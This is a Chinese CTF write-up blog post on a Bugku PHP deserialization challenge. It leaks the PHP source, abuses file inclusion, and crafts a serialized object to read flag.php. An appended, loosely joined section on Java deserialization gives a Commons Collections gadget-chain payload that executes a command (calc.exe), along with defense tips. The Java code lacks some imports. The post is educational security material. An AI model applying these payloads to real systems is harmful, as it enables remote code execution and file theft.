ctf系列——反序列化漏洞

题目

http://123.206.87.240:8006/test1/
拿到题之后先看源码

you are not the number of bugku !   
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

根据源码内容,修改post包
在这里插入图片描述得到一款得到一段base64编码,解码之后
在这里插入图片描述尝试修改post,得到
在这里插入图片描述base64解码之后,得到一段代码


<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
		echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

下载SourceLeakHacker-master,SourceLeakHacker是一款敏感目录扫描工具。看到那个绿色的200表示能够成功访问,这就是扫出来的敏感路径
在这里插入图片描述
找到flag.php,重新修改之前的报文,得到

在这里插入图片描述
修改补全之前的Flag

<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  

$o = new Flag();
$o->file="flag.php";
$o->__tostring();

echo serialize($o);
?>  

序列化:serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。
这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。以下是序列化后对应值:
String
s:size:value;

Integer
i:value;

Boolean
b:value; (does not store “true” or “false”, does store ‘1’ or ‘0’)

运行后得到结果:
在这里插入图片描述
得到flag.php内序列化后的内容,然后重新修改报文,提交之后的flag
在这里插入图片描述
最后拿到flag

### Java反序列化漏洞CTF中的应用与防御分析 #### 1. Java反序列化漏洞概述 Java反序列化漏洞是一种常见的安全问题,通常发生在应用程序通过网络或其他方式接收数据并将其转换为对象的过程中。如果攻击者能够控制这些输入的数据流,则可能触发恶意代码执行[^1]。 以下是几个经典的Java反序列化漏洞案例: - **Apache Commons Collections (ACC)** 序列化RCE漏洞:利用链式操作实现任意命令执行。 - **Spring框架** 的反序列化漏洞:由于未验证外部输入而导致远程代码执行。 - **Fastjson** 和其他JSON解析库的反序列化漏洞:因不恰当的对象映射机制引发的安全风险。 - **Apache Shiro** 中基于Session ID管理的功能存在反序列化缺陷。 #### 2. CTF比赛中常见场景 在CTF竞赛中,选手经常遇到涉及Java反序列化漏洞的任务。这类挑战要求参赛者深入理解目标系统的架构及其潜在弱点,并设计有效的载荷来突破防护措施。例如,在某些Web服务端可能存在未经严格校验就接受客户端提交的二进制文件的情况;或者数据库记录里保存了敏感信息却缺乏必要的加密手段保护等情形下都可能出现此类安全隐患[^4]。 下面是一个简单的例子说明如何构造payload: ```java import java.io.*; import org.apache.commons.collections.functors.InvokerTransformer; public class DeserializeExploit { public static void main(String[] args) throws Exception{ ObjectInputStream ois = null; try(FileOutputStream fos=new FileOutputStream("exploit.ser"); ObjectOutputStream oos= new ObjectOutputStream(fos)){ Transformer transformerChain=(Transformer)new ChainedTransformer( new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})}); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap,transformerChain); TiedMapEntry tme = new TiedMapEntry(lazyMap,"foo"); HashSet hashSet = new HashSet(); hashSet.add(tme); oos.writeObject(hashSet); } FileInputStream fis = new FileInputStream("exploit.ser"); ois = new ObjectInputStream(fis); Object obj =ois.readObject();// This will trigger the execution of calc.exe on Windows systems. }finally{ if(ois!=null){ ois.close(); } } } } ``` 此代码片段展示了如何创建一个可以用来测试是否存在`CommonsCollections`组件相关联类型的危险行为模式——即当尝试读取特定格式化的`.ser`文件时可能会意外启动计算器程序(`calc`)作为演示效果而已,请勿用于非法目的! #### 3. 防御策略建议 为了防止遭受类似的攻击,开发者应当采取以下几项预防措施: - **白名单机制**:仅允许已知安全类别的对象被实例化。 - **输入验证**:确保所有来自不可信源的数据均经过严格的清洗处理后再参与任何运算逻辑之中。 - 使用最新版本依赖库减少暴露于公开披露过的零日威胁下的可能性。 - 定期审查第三方插件安全性状况报告及时更新替换掉那些已经被发现含有严重漏洞的产品组合部分功能模块替代方案考虑开源社区贡献出来的更健壮的选择之一[^5]。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值